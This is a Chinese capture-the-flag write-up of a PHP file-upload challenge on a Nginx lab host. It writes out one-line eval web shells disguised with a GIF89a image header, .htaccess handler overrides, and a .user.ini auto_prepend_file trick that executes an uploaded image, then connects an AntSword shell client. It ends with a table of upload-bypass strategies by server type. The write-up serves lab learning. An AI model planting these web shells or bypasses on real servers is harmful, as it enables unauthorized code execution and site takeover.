一、题目
二、解题思路
- 制作一句话木马后缀是php会报错。
<?php @eval($_POST['shell']); ?>
- 改成jpg后缀试一下,应该是可以的,但是PHP标签被过滤了。
- 换一个一句话木马,绕过。
<script language="php">@eval($_POST['shell']);</script>
- 看来要加上图片头。成功了。
GIF89a
<script language="php">@eval($_POST['shell']);</script>
- 上传配置文件
.htaccess
这是 Apache 环境下文件上传漏洞 的核心配置,作用是让指定文件被当作 PHP 代码执行。
让所有包含 shell 关键字的文件都被解析,用正则匹配更灵活:
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>
估计要加图片头
GIF89a
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>
链接不成功
- 环境:OpenResty (Nginx),存在
index.php,可用.user.ini机制。
- 「上传目录有 index.php」是
.user.ini套路的核心必要条件; - 另一个必要条件是「PHP 运行在 FPM/CGI 模式(NGINX 环境)」;
- 上传 .user.ini 配置文件
文件名:.user.ini
文件内容(必须加 GIF89a 幻数头):
GIF89a
auto_prepend_file = shell.jpg
- 作用:告诉 PHP,所有 PHP 文件执行前,自动包含 shell.jpg。
- 访问路径
uploads/1e833b2b9e905399ad5c0640a03817c1
再次上传shell.jpg
- 访问路径:
http://90236890-c5b6-4fe3-b2ee-6f6d57999f31.node5.buuoj.cn:81/uploads/1e833b2b9e905399ad5c0640a03817c1/index.php
- 连接蚁剑:
访问:http://90236890-c5b6-4fe3-b2ee-6f6d57999f31.node5.buuoj.cn:81/uploads/1e833b2b9e905399ad5c0640a03817c1/index.php
- 密码:
shell
- 遇到一个问题就是隔一会又没办法访问了,显示找不到文件。
我重新操作一遍。链接成功就马上去访问数据。
- 但是我还是想试一下
.htaccess,于是重新开一个靶场。当我访问时为空白。。。返回数据也为空,这是真不行。
- 还有关键一点是链接蚁剑时的URL地址,是要加index.php,并且这个路径要放在中间才对。
http://靶场/uploads/1e833b2b9e905399ad5c0640a03817c1/index.php
三、知识点补充
1. .user.ini
1.1. 本质
.user.ini 是 PHP 特有的目录级配置文件,优先级高于全局 php.ini,作用于当前目录及子目录的所有 PHP 文件。
- 生效条件:PHP 运行在 CGI/FastCGI 模式(Nginx+PHP-FPM 环境必生效,本题刚好是);
- 核心优势:绕过后缀过滤——不用传
.php文件,仅靠图片马+.user.ini就能执行 PHP 代码。
1.2. 本题关键 payload
GIF89a # 图片幻数头,绕过 exif_imagetype() 类型检测
auto_prepend_file = shell.jpg # PHP执行前自动包含指定文件
auto_prepend_file:PHP 执行目录内任意.php文件(如题目自带的index.php)前,会把shell.jpg内容当作 PHP 代码执行;- 补充:
auto_append_file是 PHP 执行完.php文件后再包含,原理一致。
1.3. 应用逻辑
- 上传的
shell.jpg是图片后缀,服务器默认只当图片解析,不执行代码; .user.ini强制让index.php执行前「包含」shell.jpg→ 图片马里的 PHP 代码被解析执行。
2. .htaccess
2.1. 本质
.htaccess 是 Apache 服务器的目录级配置文件(Nginx 不支持),可修改服务器解析规则。
- 生效条件:Apache 服务器 + 开启
AllowOverride All; - 核心作用:强制让服务器把
.jpg/.png等非 PHP 后缀文件当成 PHP 解析。
2.2. 常用 payload(对比理解)
AddType application/x-httpd-php .jpg # 强制将.jpg解析为PHP
php_value auto_prepend_file shell.jpg # 等效.user.ini的自动包含逻辑
2.3. 本题为什么不用?
题目黑名单过滤了 .htaccess(上传直接失败),且服务器是 Nginx(天然不支持),因此只能用 .user.ini。
3. 判断 Web 服务器(Nginx/Apache/IIS)的核心方法
方法 1:看响应头
-
打开浏览器 → 按 F12 切换到「网络(Network)」标签 → 刷新题目页面;
-
找到第一个请求(通常是 index.php/首页),点击查看「响应头(Response Headers)」;
-
找
Server字段:Server: nginx/xxx或Server: openresty→ Nginx 环境(优先用.user.ini);(比如说这道题目)Server: Apache/xxx→ Apache 环境(优先用.htaccess);Server: Microsoft-IIS/xxx→ IIS 环境(考解析漏洞/短文件名)。
方法 2:看报错页面(辅助验证)
故意访问不存在的路径(比如 http://题目域名/123456.php),触发 404 报错:
- Nginx 报错页会显示「nginx」字样,或 URL 路径保留完整(如
/123456.php); - Apache 报错页会显示「Apache」字样,或暴露服务器版本;
- IIS 报错页会显示「IIS」或「Microsoft」相关标识。
方法 3:根据配置文件是否生效反推
如果响应头被隐藏,可通过上传测试文件判断:
-
上传
.htaccess文件(内容随便写):- 上传失败/上传后访问图片马不解析 → 不是 Apache(大概率是 Nginx);
- 上传成功且图片马被解析 → 是 Apache;
-
上传
.user.ini文件:- 访问目录下的
index.php能执行图片马 → 是 Nginx+PHP-FPM; - 无反应 → 不是该环境。
- 访问目录下的
总结
| 服务器类型 | 核心特征 | 对应绕过策略 |
|---|---|---|
| Nginx | 响应头有 nginx/openresty | 用 .user.ini + auto_prepend_file |
| Apache | 响应头有 Apache | 用 .htaccess 改解析规则 |
| IIS | 响应头有 IIS | 短文件名/解析漏洞(如 xxx.asp;.jpg) |
- 判断服务器的首选方法是看响应头的
Server字段,一眼定结果; - Nginx 环境必用
.user.ini,Apache 环境必试.htaccess;